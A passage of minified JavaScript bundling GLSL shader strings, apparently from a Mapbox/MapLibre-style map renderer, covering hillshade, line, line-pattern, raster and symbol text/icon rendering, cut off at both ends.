uniform sampler2D u_image;varying vec2 v_pos;uniform vec2 u_dimension;uniform float u_zoom;uniform float u_maxzoom;uniform vec4 u_unpack;float getElevation(vec2 coord,float bias) {vec4 data=texture2D(u_image,coord)*255.0;data.a=-1.0;return dot(data,u_unpack)/4.0;}void main() {vec2 epsilon=1.0/u_dimension;float a=getElevation(v_pos+vec2(-epsilon.x,-epsilon.y),0.0);float b=getElevation(v_pos+vec2(0,-epsilon.y),0.0);float c=getElevation(v_pos+vec2(epsilon.x,-epsilon.y),0.0);float d=getElevation(v_pos+vec2(-epsilon.x,0),0.0);float e=getElevation(v_pos,0.0);float f=getElevation(v_pos+vec2(epsilon.x,0),0.0);float g=getElevation(v_pos+vec2(-epsilon.x,epsilon.y),0.0);float h=getElevation(v_pos+vec2(0,epsilon.y),0.0);float i=getElevation(v_pos+vec2(epsilon.x,epsilon.y),0.0);float exaggeration=u_zoom < 2.0 ? 0.4 : u_zoom < 4.5 ? 0.35 : 0.3;vec2 deriv=vec2((c+f+f+i)-(a+d+d+g),(g+h+h+i)-(a+b+b+c))/ pow(2.0,(u_zoom-u_maxzoom)*exaggeration+19.2562-u_zoom);gl_FragColor=clamp(vec4(deriv.x/2.0+0.5,deriv.y/2.0+0.5,1.0,1.0),0.0,1.0);
#ifdef OVERDRAW_INSPECTOR
gl_FragColor=vec4(1.0);
#endif
}`,tf="uniform mat4 u_matrix;uniform vec2 u_dimension;attribute vec2 a_pos;attribute vec2 a_texture_pos;varying vec2 v_pos;void main() {gl_Position=u_matrix*vec4(a_pos,0,1);highp vec2 epsilon=1.0/u_dimension;float scale=(u_dimension.x-2.0)/u_dimension.x;v_pos=(a_texture_pos/8192.0)*scale+epsilon;}",rf=`uniform sampler2D u_image;varying vec2 v_pos;uniform vec2 u_latrange;uniform vec2 u_light;uniform vec4 u_shadow;uniform vec4 u_highlight;uniform vec4 u_accent;
#define PI 3.141592653589793
void main() {vec4 pixel=texture2D(u_image,v_pos);vec2 deriv=((pixel.rg*2.0)-1.0);float scaleFactor=cos(radians((u_latrange[0]-u_latrange[1])*(1.0-v_pos.y)+u_latrange[1]));float slope=atan(1.25*length(deriv)/scaleFactor);float aspect=deriv.x !=0.0 ? atan(deriv.y,-deriv.x) : PI/2.0*(deriv.y > 0.0 ? 1.0 :-1.0);float intensity=u_light.x;float azimuth=u_light.y+PI;float base=1.875-intensity*1.75;float maxValue=0.5*PI;float scaledSlope=intensity !=0.5 ? ((pow(base,slope)-1.0)/(pow(base,maxValue)-1.0))*maxValue : slope;float accent=cos(scaledSlope);vec4 accent_color=(1.0-accent)*u_accent*clamp(intensity*2.0,0.0,1.0);float shade=abs(mod((aspect+azimuth)/PI+0.5,2.0)-1.0);vec4 shade_color=mix(u_shadow,u_highlight,shade)*sin(scaledSlope)*clamp(intensity*2.0,0.0,1.0);gl_FragColor=accent_color*(1.0-shade_color.a)+shade_color;
#ifdef OVERDRAW_INSPECTOR
gl_FragColor=vec4(1.0);
#endif
}`,Tu="uniform mat4 u_matrix;attribute vec2 a_pos;attribute vec2 a_texture_pos;varying vec2 v_pos;void main() {gl_Position=u_matrix*vec4(a_pos,0,1);v_pos=a_texture_pos/8192.0;}",nf=`uniform lowp float u_device_pixel_ratio;varying vec2 v_width2;varying vec2 v_normal;varying float v_gamma_scale;
#pragma mapbox: define highp vec4 color
#pragma mapbox: define lowp float blur
#pragma mapbox: define lowp float opacity
void main() {
#pragma mapbox: initialize highp vec4 color
#pragma mapbox: initialize lowp float blur
#pragma mapbox: initialize lowp float opacity
float dist=length(v_normal)*v_width2.s;float blur2=(blur+1.0/u_device_pixel_ratio)*v_gamma_scale;float alpha=clamp(min(dist-(v_width2.t-blur2),v_width2.s-dist)/blur2,0.0,1.0);gl_FragColor=color*(alpha*opacity);
#ifdef OVERDRAW_INSPECTOR
gl_FragColor=vec4(1.0);
#endif
}`,af=`
#define scale 0.015873016
attribute vec2 a_pos_normal;attribute vec4 a_data;uniform mat4 u_matrix;uniform mediump float u_ratio;uniform vec2 u_units_to_pixels;uniform lowp float u_device_pixel_ratio;varying vec2 v_normal;varying vec2 v_width2;varying float v_gamma_scale;varying highp float v_linesofar;
#pragma mapbox: define highp vec4 color
#pragma mapbox: define lowp float blur
#pragma mapbox: define lowp float opacity
#pragma mapbox: define mediump float gapwidth
#pragma mapbox: define lowp float offset
#pragma mapbox: define mediump float width
void main() {
#pragma mapbox: initialize highp vec4 color
#pragma mapbox: initialize lowp float blur
#pragma mapbox: initialize lowp float opacity
#pragma mapbox: initialize mediump float gapwidth
#pragma mapbox: initialize lowp float offset
#pragma mapbox: initialize mediump float width
float ANTIALIASING=1.0/u_device_pixel_ratio/2.0;vec2 a_extrude=a_data.xy-128.0;float a_direction=mod(a_data.z,4.0)-1.0;v_linesofar=(floor(a_data.z/4.0)+a_data.w*64.0)*2.0;vec2 pos=floor(a_pos_normal*0.5);mediump vec2 normal=a_pos_normal-2.0*pos;normal.y=normal.y*2.0-1.0;v_normal=normal;gapwidth=gapwidth/2.0;float halfwidth=width/2.0;offset=-1.0*offset;float inset=gapwidth+(gapwidth > 0.0 ? ANTIALIASING : 0.0);float outset=gapwidth+halfwidth*(gapwidth > 0.0 ? 2.0 : 1.0)+(halfwidth==0.0 ? 0.0 : ANTIALIASING);mediump vec2 dist=outset*a_extrude*scale;mediump float u=0.5*a_direction;mediump float t=1.0-abs(u);mediump vec2 offset2=offset*a_extrude*scale*normal.y*mat2(t,-u,u,t);vec4 projected_extrude=u_matrix*vec4(dist/u_ratio,0.0,0.0);gl_Position=u_matrix*vec4(pos+offset2/u_ratio,0.0,1.0)+projected_extrude;float extrude_length_without_perspective=length(dist);float extrude_length_with_perspective=length(projected_extrude.xy/gl_Position.w*u_units_to_pixels);v_gamma_scale=extrude_length_without_perspective/extrude_length_with_perspective;v_width2=vec2(outset,inset);}`,jl=`uniform lowp float u_device_pixel_ratio;uniform sampler2D u_image;varying vec2 v_width2;varying vec2 v_normal;varying float v_gamma_scale;varying highp float v_lineprogress;
#pragma mapbox: define lowp float blur
#pragma mapbox: define lowp float opacity
void main() {
#pragma mapbox: initialize lowp float blur
#pragma mapbox: initialize lowp float opacity
float dist=length(v_normal)*v_width2.s;float blur2=(blur+1.0/u_device_pixel_ratio)*v_gamma_scale;float alpha=clamp(min(dist-(v_width2.t-blur2),v_width2.s-dist)/blur2,0.0,1.0);vec4 color=texture2D(u_image,vec2(v_lineprogress,0.5));gl_FragColor=color*(alpha*opacity);
#ifdef OVERDRAW_INSPECTOR
gl_FragColor=vec4(1.0);
#endif
}`,ps=`
#define MAX_LINE_DISTANCE 32767.0
#define scale 0.015873016
attribute vec2 a_pos_normal;attribute vec4 a_data;uniform mat4 u_matrix;uniform mediump float u_ratio;uniform lowp float u_device_pixel_ratio;uniform vec2 u_units_to_pixels;varying vec2 v_normal;varying vec2 v_width2;varying float v_gamma_scale;varying highp float v_lineprogress;
#pragma mapbox: define lowp float blur
#pragma mapbox: define lowp float opacity
#pragma mapbox: define mediump float gapwidth
#pragma mapbox: define lowp float offset
#pragma mapbox: define mediump float width
void main() {
#pragma mapbox: initialize lowp float blur
#pragma mapbox: initialize lowp float opacity
#pragma mapbox: initialize mediump float gapwidth
#pragma mapbox: initialize lowp float offset
#pragma mapbox: initialize mediump float width
float ANTIALIASING=1.0/u_device_pixel_ratio/2.0;vec2 a_extrude=a_data.xy-128.0;float a_direction=mod(a_data.z,4.0)-1.0;v_lineprogress=(floor(a_data.z/4.0)+a_data.w*64.0)*2.0/MAX_LINE_DISTANCE;vec2 pos=floor(a_pos_normal*0.5);mediump vec2 normal=a_pos_normal-2.0*pos;normal.y=normal.y*2.0-1.0;v_normal=normal;gapwidth=gapwidth/2.0;float halfwidth=width/2.0;offset=-1.0*offset;float inset=gapwidth+(gapwidth > 0.0 ? ANTIALIASING : 0.0);float outset=gapwidth+halfwidth*(gapwidth > 0.0 ? 2.0 : 1.0)+(halfwidth==0.0 ? 0.0 : ANTIALIASING);mediump vec2 dist=outset*a_extrude*scale;mediump float u=0.5*a_direction;mediump float t=1.0-abs(u);mediump vec2 offset2=offset*a_extrude*scale*normal.y*mat2(t,-u,u,t);vec4 projected_extrude=u_matrix*vec4(dist/u_ratio,0.0,0.0);gl_Position=u_matrix*vec4(pos+offset2/u_ratio,0.0,1.0)+projected_extrude;float extrude_length_without_perspective=length(dist);float extrude_length_with_perspective=length(projected_extrude.xy/gl_Position.w*u_units_to_pixels);v_gamma_scale=extrude_length_without_perspective/extrude_length_with_perspective;v_width2=vec2(outset,inset);}`,gs=`uniform lowp float u_device_pixel_ratio;uniform vec2 u_texsize;uniform float u_fade;uniform mediump vec3 u_scale;uniform sampler2D u_image;varying vec2 v_normal;varying vec2 v_width2;varying float v_linesofar;varying float v_gamma_scale;varying float v_width;
#pragma mapbox: define lowp vec4 pattern_from
#pragma mapbox: define lowp vec4 pattern_to
#pragma mapbox: define lowp float pixel_ratio_from
#pragma mapbox: define lowp float pixel_ratio_to
#pragma mapbox: define lowp float blur
#pragma mapbox: define lowp float opacity
void main() {
#pragma mapbox: initialize mediump vec4 pattern_from
#pragma mapbox: initialize mediump vec4 pattern_to
#pragma mapbox: initialize lowp float pixel_ratio_from
#pragma mapbox: initialize lowp float pixel_ratio_to
#pragma mapbox: initialize lowp float blur
#pragma mapbox: initialize lowp float opacity
vec2 pattern_tl_a=pattern_from.xy;vec2 pattern_br_a=pattern_from.zw;vec2 pattern_tl_b=pattern_to.xy;vec2 pattern_br_b=pattern_to.zw;float tileZoomRatio=u_scale.x;float fromScale=u_scale.y;float toScale=u_scale.z;vec2 display_size_a=(pattern_br_a-pattern_tl_a)/pixel_ratio_from;vec2 display_size_b=(pattern_br_b-pattern_tl_b)/pixel_ratio_to;vec2 pattern_size_a=vec2(display_size_a.x*fromScale/tileZoomRatio,display_size_a.y);vec2 pattern_size_b=vec2(display_size_b.x*toScale/tileZoomRatio,display_size_b.y);float aspect_a=display_size_a.y/v_width;float aspect_b=display_size_b.y/v_width;float dist=length(v_normal)*v_width2.s;float blur2=(blur+1.0/u_device_pixel_ratio)*v_gamma_scale;float alpha=clamp(min(dist-(v_width2.t-blur2),v_width2.s-dist)/blur2,0.0,1.0);float x_a=mod(v_linesofar/pattern_size_a.x*aspect_a,1.0);float x_b=mod(v_linesofar/pattern_size_b.x*aspect_b,1.0);float y=0.5*v_normal.y+0.5;vec2 texel_size=1.0/u_texsize;vec2 pos_a=mix(pattern_tl_a*texel_size-texel_size,pattern_br_a*texel_size+texel_size,vec2(x_a,y));vec2 pos_b=mix(pattern_tl_b*texel_size-texel_size,pattern_br_b*texel_size+texel_size,vec2(x_b,y));vec4 color=mix(texture2D(u_image,pos_a),texture2D(u_image,pos_b),u_fade);gl_FragColor=color*alpha*opacity;
#ifdef OVERDRAW_INSPECTOR
gl_FragColor=vec4(1.0);
#endif
}`,Ds=`
#define scale 0.015873016
#define LINE_DISTANCE_SCALE 2.0
attribute vec2 a_pos_normal;attribute vec4 a_data;uniform mat4 u_matrix;uniform vec2 u_units_to_pixels;uniform mediump float u_ratio;uniform lowp float u_device_pixel_ratio;varying vec2 v_normal;varying vec2 v_width2;varying float v_linesofar;varying float v_gamma_scale;varying float v_width;
#pragma mapbox: define lowp float blur
#pragma mapbox: define lowp float opacity
#pragma mapbox: define lowp float offset
#pragma mapbox: define mediump float gapwidth
#pragma mapbox: define mediump float width
#pragma mapbox: define lowp float floorwidth
#pragma mapbox: define lowp vec4 pattern_from
#pragma mapbox: define lowp vec4 pattern_to
#pragma mapbox: define lowp float pixel_ratio_from
#pragma mapbox: define lowp float pixel_ratio_to
void main() {
#pragma mapbox: initialize lowp float blur
#pragma mapbox: initialize lowp float opacity
#pragma mapbox: initialize lowp float offset
#pragma mapbox: initialize mediump float gapwidth
#pragma mapbox: initialize mediump float width
#pragma mapbox: initialize lowp float floorwidth
#pragma mapbox: initialize mediump vec4 pattern_from
#pragma mapbox: initialize mediump vec4 pattern_to
#pragma mapbox: initialize lowp float pixel_ratio_from
#pragma mapbox: initialize lowp float pixel_ratio_to
float ANTIALIASING=1.0/u_device_pixel_ratio/2.0;vec2 a_extrude=a_data.xy-128.0;float a_direction=mod(a_data.z,4.0)-1.0;float a_linesofar=(floor(a_data.z/4.0)+a_data.w*64.0)*LINE_DISTANCE_SCALE;vec2 pos=floor(a_pos_normal*0.5);mediump vec2 normal=a_pos_normal-2.0*pos;normal.y=normal.y*2.0-1.0;v_normal=normal;gapwidth=gapwidth/2.0;float halfwidth=width/2.0;offset=-1.0*offset;float inset=gapwidth+(gapwidth > 0.0 ? ANTIALIASING : 0.0);float outset=gapwidth+halfwidth*(gapwidth > 0.0 ? 2.0 : 1.0)+(halfwidth==0.0 ? 0.0 : ANTIALIASING);mediump vec2 dist=outset*a_extrude*scale;mediump float u=0.5*a_direction;mediump float t=1.0-abs(u);mediump vec2 offset2=offset*a_extrude*scale*normal.y*mat2(t,-u,u,t);vec4 projected_extrude=u_matrix*vec4(dist/u_ratio,0.0,0.0);gl_Position=u_matrix*vec4(pos+offset2/u_ratio,0.0,1.0)+projected_extrude;float extrude_length_without_perspective=length(dist);float extrude_length_with_perspective=length(projected_extrude.xy/gl_Position.w*u_units_to_pixels);v_gamma_scale=extrude_length_without_perspective/extrude_length_with_perspective;v_linesofar=a_linesofar;v_width2=vec2(outset,inset);v_width=floorwidth;}`,ml=`uniform lowp float u_device_pixel_ratio;uniform sampler2D u_image;uniform float u_sdfgamma;uniform float u_mix;varying vec2 v_normal;varying vec2 v_width2;varying vec2 v_tex_a;varying vec2 v_tex_b;varying float v_gamma_scale;
#pragma mapbox: define highp vec4 color
#pragma mapbox: define lowp float blur
#pragma mapbox: define lowp float opacity
#pragma mapbox: define mediump float width
#pragma mapbox: define lowp float floorwidth
void main() {
#pragma mapbox: initialize highp vec4 color
#pragma mapbox: initialize lowp float blur
#pragma mapbox: initialize lowp float opacity
#pragma mapbox: initialize mediump float width
#pragma mapbox: initialize lowp float floorwidth
float dist=length(v_normal)*v_width2.s;float blur2=(blur+1.0/u_device_pixel_ratio)*v_gamma_scale;float alpha=clamp(min(dist-(v_width2.t-blur2),v_width2.s-dist)/blur2,0.0,1.0);float sdfdist_a=texture2D(u_image,v_tex_a).a;float sdfdist_b=texture2D(u_image,v_tex_b).a;float sdfdist=mix(sdfdist_a,sdfdist_b,u_mix);alpha*=smoothstep(0.5-u_sdfgamma/floorwidth,0.5+u_sdfgamma/floorwidth,sdfdist);gl_FragColor=color*(alpha*opacity);
#ifdef OVERDRAW_INSPECTOR
gl_FragColor=vec4(1.0);
#endif
}`,of=`
#define scale 0.015873016
#define LINE_DISTANCE_SCALE 2.0
attribute vec2 a_pos_normal;attribute vec4 a_data;uniform mat4 u_matrix;uniform mediump float u_ratio;uniform lowp float u_device_pixel_ratio;uniform vec2 u_patternscale_a;uniform float u_tex_y_a;uniform vec2 u_patternscale_b;uniform float u_tex_y_b;uniform vec2 u_units_to_pixels;varying vec2 v_normal;varying vec2 v_width2;varying vec2 v_tex_a;varying vec2 v_tex_b;varying float v_gamma_scale;
#pragma mapbox: define highp vec4 color
#pragma mapbox: define lowp float blur
#pragma mapbox: define lowp float opacity
#pragma mapbox: define mediump float gapwidth
#pragma mapbox: define lowp float offset
#pragma mapbox: define mediump float width
#pragma mapbox: define lowp float floorwidth
void main() {
#pragma mapbox: initialize highp vec4 color
#pragma mapbox: initialize lowp float blur
#pragma mapbox: initialize lowp float opacity
#pragma mapbox: initialize mediump float gapwidth
#pragma mapbox: initialize lowp float offset
#pragma mapbox: initialize mediump float width
#pragma mapbox: initialize lowp float floorwidth
float ANTIALIASING=1.0/u_device_pixel_ratio/2.0;vec2 a_extrude=a_data.xy-128.0;float a_direction=mod(a_data.z,4.0)-1.0;float a_linesofar=(floor(a_data.z/4.0)+a_data.w*64.0)*LINE_DISTANCE_SCALE;vec2 pos=floor(a_pos_normal*0.5);mediump vec2 normal=a_pos_normal-2.0*pos;normal.y=normal.y*2.0-1.0;v_normal=normal;gapwidth=gapwidth/2.0;float halfwidth=width/2.0;offset=-1.0*offset;float inset=gapwidth+(gapwidth > 0.0 ? ANTIALIASING : 0.0);float outset=gapwidth+halfwidth*(gapwidth > 0.0 ? 2.0 : 1.0)+(halfwidth==0.0 ? 0.0 : ANTIALIASING);mediump vec2 dist=outset*a_extrude*scale;mediump float u=0.5*a_direction;mediump float t=1.0-abs(u);mediump vec2 offset2=offset*a_extrude*scale*normal.y*mat2(t,-u,u,t);vec4 projected_extrude=u_matrix*vec4(dist/u_ratio,0.0,0.0);gl_Position=u_matrix*vec4(pos+offset2/u_ratio,0.0,1.0)+projected_extrude;float extrude_length_without_perspective=length(dist);float extrude_length_with_perspective=length(projected_extrude.xy/gl_Position.w*u_units_to_pixels);v_gamma_scale=extrude_length_without_perspective/extrude_length_with_perspective;v_tex_a=vec2(a_linesofar*u_patternscale_a.x/floorwidth,normal.y*u_patternscale_a.y+u_tex_y_a);v_tex_b=vec2(a_linesofar*u_patternscale_b.x/floorwidth,normal.y*u_patternscale_b.y+u_tex_y_b);v_width2=vec2(outset,inset);}`,Yo=`uniform float u_fade_t;uniform float u_opacity;uniform sampler2D u_image0;uniform sampler2D u_image1;varying vec2 v_pos0;varying vec2 v_pos1;uniform float u_brightness_low;uniform float u_brightness_high;uniform float u_saturation_factor;uniform float u_contrast_factor;uniform vec3 u_spin_weights;void main() {vec4 color0=texture2D(u_image0,v_pos0);vec4 color1=texture2D(u_image1,v_pos1);if (color0.a > 0.0) {color0.rgb=color0.rgb/color0.a;}if (color1.a > 0.0) {color1.rgb=color1.rgb/color1.a;}vec4 color=mix(color0,color1,u_fade_t);color.a*=u_opacity;vec3 rgb=color.rgb;rgb=vec3(dot(rgb,u_spin_weights.xyz),dot(rgb,u_spin_weights.zxy),dot(rgb,u_spin_weights.yzx));float average=(color.r+color.g+color.b)/3.0;rgb+=(average-rgb)*u_saturation_factor;rgb=(rgb-0.5)*u_contrast_factor+0.5;vec3 u_high_vec=vec3(u_brightness_low,u_brightness_low,u_brightness_low);vec3 u_low_vec=vec3(u_brightness_high,u_brightness_high,u_brightness_high);gl_FragColor=vec4(mix(u_high_vec,u_low_vec,rgb)*color.a,color.a);
#ifdef OVERDRAW_INSPECTOR
gl_FragColor=vec4(1.0);
#endif
}`,Au="uniform mat4 u_matrix;uniform vec2 u_tl_parent;uniform float u_scale_parent;uniform float u_buffer_scale;attribute vec2 a_pos;attribute vec2 a_texture_pos;varying vec2 v_pos0;varying vec2 v_pos1;void main() {gl_Position=u_matrix*vec4(a_pos,0,1);v_pos0=(((a_texture_pos/8192.0)-0.5)/u_buffer_scale )+0.5;v_pos1=(v_pos0*u_scale_parent)+u_tl_parent;}",Kl=`uniform sampler2D u_texture;varying vec2 v_tex;varying float v_fade_opacity;
#pragma mapbox: define lowp float opacity
void main() {
#pragma mapbox: initialize lowp float opacity
lowp float alpha=opacity*v_fade_opacity;gl_FragColor=texture2D(u_texture,v_tex)*alpha;
#ifdef OVERDRAW_INSPECTOR
gl_FragColor=vec4(1.0);
#endif
}`,sf=`const float PI=3.141592653589793;attribute vec4 a_pos_offset;attribute vec4 a_data;attribute vec4 a_pixeloffset;attribute vec3 a_projected_pos;attribute float a_fade_opacity;uniform bool u_is_size_zoom_constant;uniform bool u_is_size_feature_constant;uniform highp float u_size_t;uniform highp float u_size;uniform highp float u_camera_to_center_distance;uniform highp float u_pitch;uniform bool u_rotate_symbol;uniform highp float u_aspect_ratio;uniform float u_fade_change;uniform mat4 u_matrix;uniform mat4 u_label_plane_matrix;uniform mat4 u_coord_matrix;uniform bool u_is_text;uniform bool u_pitch_with_map;uniform vec2 u_texsize;varying vec2 v_tex;varying float v_fade_opacity;
#pragma mapbox: define lowp float opacity
void main() {
#pragma mapbox: initialize lowp float opacity
vec2 a_pos=a_pos_offset.xy;vec2 a_offset=a_pos_offset.zw;vec2 a_tex=a_data.xy;vec2 a_size=a_data.zw;float a_size_min=floor(a_size[0]*0.5);vec2 a_pxoffset=a_pixeloffset.xy;vec2 a_minFontScale=a_pixeloffset.zw/256.0;highp float segment_angle=-a_projected_pos[2];float size;if (!u_is_size_zoom_constant && !u_is_size_feature_constant) {size=mix(a_size_min,a_size[1],u_size_t)/128.0;} else if (u_is_size_zoom_constant && !u_is_size_feature_constant) {size=a_size_min/128.0;} else {size=u_size;}vec4 projectedPoint=u_matrix*vec4(a_pos,0,1);highp float camera_to_anchor_distance=projectedPoint.w;highp float distance_ratio=u_pitch_with_map ?
camera_to_anchor_distance/u_camera_to_center_distance :
u_camera_to_center_distance/camera_to_anchor_distance;highp float perspective_ratio=clamp(0.5+0.5*distance_ratio,0.0,4.0);size*=perspective_ratio;float fontScale=u_is_text ? size/24.0 : size;highp float symbol_rotation=0.0;if (u_rotate_symbol) {vec4 offsetProjectedPoint=u_matrix*vec4(a_pos+vec2(1,0),0,1);vec2 a=projectedPoint.xy/projectedPoint.w;vec2 b=offsetProjectedPoint.xy/offsetProjectedPoint.w;symbol_rotation=atan((b.y-a.y)/u_aspect_ratio,b.x-a.x);}highp float angle_sin=sin(segment_angle+symbol_rotation);highp float angle_cos=cos(segment_angle+symbol_rotation);mat2 rotation_matrix=mat2(angle_cos,-1.0*angle_sin,angle_sin,angle_cos);vec4 projected_pos=u_label_plane_matrix*vec4(a_projected_pos.xy,0.0,1.0);gl_Position=u_coord_matrix*vec4(projected_pos.xy/projected_pos.w+rotation_matrix*(a_offset/32.0*max(a_minFontScale,fontScale)+a_pxoffset/16.0),0.0,1.0);v_tex=a_tex/u_texsize;vec2 fade_opacity=unpack_opacity(a_fade_opacity);float fade_change=fade_opacity[1] > 0.5 ? u_fade_change :-u_fade_change;v_fade_opacity=max(0.0,min(1.0,fade_opacity[0]+fade_change));}`,vo=`#define SDF_PX 8.0
uniform bool u_is_halo;uniform sampler2D u_texture;uniform highp float u_gamma_scale;uniform lowp float u_device_pixel_ratio;uniform bool u_is_text;varying vec2 v_data0;varying vec3 v_data1;
#pragma mapbox: define highp vec4 fill_color
#pragma mapbox: define highp vec4 halo_color
#pragma mapbox: define lowp float opacity
#pragma mapbox: define lowp float halo_width
#pragma mapbox: define lowp float halo_blur
void main() {
#pragma mapbox: initialize highp vec4 fill_color
#pragma mapbox: initialize highp vec4 halo_color
#pragma mapbox: initialize lowp float opacity
#pragma mapbox: initialize lowp float halo_width
#pragma mapbox: initialize lowp float halo_blur
float EDGE_GAMMA=0.105/u_device_pixel_ratio;vec2 tex=v_data0.xy;float gamma_scale=v_data1.x;float size=v_data1.y;float fade_opacity=v_data1[2];float fontScale=u_is_text ? size/24.0 : size;lowp vec4 color=fill_color;highp float gamma=EDGE_GAMMA/(fontScale*u_gamma_scale);lowp float buff=(256.0-64.0)/256.0;if (u_is_halo) {color=halo_color;gamma=(halo_blur*1.19/SDF_PX+EDGE_GAMMA)/(fontScale*u_gamma_scale);buff=(6.0-halo_width/fontScale)/SDF_PX;}lowp float dist=texture2D(u_texture,tex).a;highp float gamma_scaled=gamma*gamma_scale;highp float alpha=smoothstep(buff-gamma_scaled,buff+gamma_scaled,dist);gl_FragColor=color*(alpha*opacity*fade_opacity);
#ifdef OVERDRAW_INSPECTOR
gl_FragColor=vec4(1.0);
#endif
}`,ys=`const float PI=3.141592653589793;attribute vec4 a_pos_offset;attribute vec4 a_data;attribute vec4 a_pixeloffset;attribute vec3 a_projected_pos;attribute float a_fade_opacity;uniform bool u_is_size_zoom_constant;uniform bool u_is_size_feature_constant;uniform highp float u_size_t;uniform highp float u_size;uniform mat4 u_matrix;uniform mat4 u_label_plane_matrix;uniform mat4 u_coord_matrix;uniform bool u_is_text;uniform bool u_pitch_with_map;uniform highp float u_pitch;uniform bool u_rotate_symbol;uniform highp float u_aspect_ratio;uniform highp float u_camera_to_center_distance;uniform float u_fade_change;uniform vec2 u_texsize;varying vec2 v_data0;varying vec3 v_data1;
#pragma mapbox: define highp vec4 fill_color
#pragma mapbox: define highp vec4 halo_color
#pragma mapbox: define lowp float opacity
#pragma mapbox: define lowp float halo_width
#pragma mapbox: define lowp float halo_blur
void main() {
#pragma mapbox: initialize highp vec4 fill_color
#pragma mapbox: initialize highp vec4 halo_color
#pragma mapbox: initialize lowp float opacity
#pragma mapbox: initialize lowp float halo_width
#pragma mapbox: initialize lowp float halo_blur
vec2 a_pos=a_pos_offset.xy;vec2 a_offset=a_pos_offset.zw;vec2 a_tex=a_data.xy;vec2 a_size=a_data.zw;float a_size_min=floor(a_size[0]*0.5);vec2 a_pxoffset=a_pixeloffset.xy;highp float segment_angle=-a_projected_pos[2];float size;if (!u_is_size_zoom_constant && !u_is_size_feature_constant) {size=mix(a_size_min,a_size[1],u_size_t)/128.0;} else if (u_is_size_zoom_constant && !u_is_size_feature_constant) {size=a_size_min/128.0;} else {size=u_size;}vec4 projectedPoint=u_matrix*vec4(a_pos,0,1);highp float camera_to_anchor_distance=projectedPoint.w;highp float distance_ratio=u_pitch_with_map ?
camera_to_anchor_distance/u_camera_to_center_distance :
u_camera_to_center_distance/camera_to_anchor_distance;highp float perspective_ratio=clamp(0.5+0.5*distance_ratio,0.0,4.0);size*=perspective_ratio;float fontScale=u_is_text ? size/24.0 : size;highp float symbol_rotation=0.0;if (u_rotate_symbol) {vec4 offsetProjectedPoint=u_matrix*vec4(a_pos+vec2(1,0),0,1);vec2 a=projectedPoint.xy/projectedPoint.w;vec2 b=offsetProjectedPoint.xy/offsetProjectedPoint.w;symbol_rotation=atan((b.y-a.y)/u_aspect_ratio,b.x-a.x);}highp float angle_sin=sin(segment_angle+symbol_rotation);highp float angle_cos=cos(segment_angle+symbol_rotation);mat2 rotation_matrix=mat2(angle_cos,-1.0*angle_sin,angle_sin,angle_cos);vec4 projected_pos=u_label_plane_matrix*vec4(a_projected_pos.xy,0.0,1.0);gl_Position=u_coord_matrix*vec4(projected_pos.xy/projected_pos.w+rotation_matrix*(a_offset/32.0*fontScale+a_pxoffset),0.0,1.0);float gamma_scale=gl_Position.w;vec2 fade_opacity=unpack_opacity(a_fade_opacity);float fade_change=fade_opacity[1] > 0.5 ? u_fade_change :-u_fade_change;float interpolated_fade_opacity=max(0.0,min(1.0,fade_opacity[0]+fade_change));v_data0=a_tex/u_texsize;v_data1=vec3(gamma_scale,size,interpolated_fade_opacity);}`,$s=`#define SDF_PX 8.0
#define SDF 1.0
#define ICON 0.0
uniform bool u_is_halo;uniform sampler2D u_texture;uniform sampler2D u_texture_icon;uniform highp float u_gamma_scale;uniform lowp float u_device_pixel_ratio;varying vec4 v_data0;varying vec4 v_data1;
#pragma mapbox: define highp vec4 fill_color
#pragma mapbox: define highp vec4 halo_color
#pragma mapbox: define lowp float opacity
#pragma mapbox: define lowp float halo_width
#pragma mapbox: define lowp float halo_blur
void main() {
#pragma mapbox: initialize highp vec4 fill_color
#pragma mapbox: initialize highp vec4 halo_color
#pragma mapbox: initialize lowp float opacity
#pragma mapbox: initialize lowp float halo_width
#pragma mapbox: initialize lowp float halo_blur
float fade_opacity=v_data1[2];if (v_data1.w==ICON) {vec2 tex_icon=v_data0.zw;lowp float alpha=opacity*fade_opacity;gl_FragColor=texture2D(u_texture_icon,tex_icon)*alpha;
#ifdef OVERDRAW_INSPECTOR
gl_FragColor=vec4(1.0);
#endif
return;}vec2 tex=v_data0.xy;float EDGE_GAMMA=0.105/u_device_pixel_ratio;float gamma_scale=v_data1.x;float size=v_data1.y;float fontScale=size/24.0;lowp vec4 color=fill_color;highp float gamma=EDGE_GAMMA/(fontScale*u_gamma_scale);lowp float buff=(256.0-64.0)/256.0;if (u_is_halo) {color=halo_color;gamma=(halo_blur*1.19/SDF_PX+EDGE_GAMMA)/(fontScale*u_gamma_scale);buff=(6.0-halo_width/fontScale)/SDF_PX;}lowp float dist=texture2D(u_texture,tex).a;highp float gamma_scaled=gamma*gamma_scale;highp float alpha=smoothstep(buff-gamma_scaled,buff+gamma_scaled,dist);gl_FragColor=color*(alpha*opacity*fade_opacity);
#ifdef OVERDRAW_INSPECTOR
gl_FragColor=vec4(1.0);
#endif
}`,Is=`const float PI=3.141592653589793;attribute vec4 a_pos_offset;attribute vec4 a_data;attribute vec3 a_projected_pos;attribute float a_fade_opacity;uniform bool u_is_size_zoom_constant;uniform bool u_is_size_feature_constant;uniform highp float u_size_t;uniform highp float u_size;uniform mat4 u_matrix;uniform mat4 u_label_plane_matrix;uniform mat4 u_coord_matrix;uniform bool u_is_text;uniform bool u_pitch_with_map;uniform highp float u_pitch;uniform bool u_rotate_symbol;uniform highp float u_aspect_ratio;uniform highp float u_camera_to_center_distance;uniform float u_fade_change;uniform vec2 u_texsize;uniform vec2 u_texsize_icon;varying vec4 v_data0;varying vec4 v_data1;
#pragma mapbox: define highp vec4 fill_color
#pragma mapbox: define highp vec4 halo_color
#pragma mapbox: define lowp float opacity
#pragma mapbox: define lowp float halo_width
#pragma mapbox: define lowp float halo_blur
void main() {
#pragma mapbox: initialize highp vec4 fill_color
#pragma mapbox: initialize highp vec4 halo_color
#pragma mapbox: initialize lowp float opacity
#pragma mapbox: initialize lowp float halo_width
#pragma mapbox: initialize lowp float halo_blur
